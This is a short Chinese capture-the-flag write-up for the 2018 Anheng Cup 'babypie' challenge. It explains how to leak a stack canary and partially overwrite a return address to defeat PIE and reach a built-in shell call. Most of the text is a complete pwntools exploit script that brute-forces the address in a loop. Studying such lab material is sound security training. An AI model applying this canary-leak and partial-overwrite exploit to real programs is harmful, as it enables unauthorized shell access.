2018 - 安恒杯 - babypie [stack partial overwrite]

明顯的是緩沖區溢出呀，read函數可以多讀

64位程式，開啟了NX和PIE，且程式裡有了system("/bin/sh")

目标：控制RIP到A3E函數即可~

首先，要處理canary的問題~然後，覆寫傳回位址~

partial overwrite：在開啟了PIE後，無論高位位址如何變化，低位位址是不變的，意味着有機率“撞到”正确的位址

exp如下：

#!/usr/bin/env python
# coding=utf-8

from pwn import *

while True:
    try:
        io = process("./babypie", timeout = 1)
        io.sendafter(":\n", "A" * (0x30 - 0x8 + 1))
        io.recvuntil("A" * (0x30 - 0x8 + 1))
        canary = '\0' + io.recvn(7)
        success("0x" + canary.encode("hex"))
        io.sendafter(":\n", "A" * (0x30 - 0x8) + canary + "B" * 8 + '\x3E\x0A')
        io.interactive()
    except Exception as e:
        io.close()
        print e
           

參考連結：

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#partial-overwrite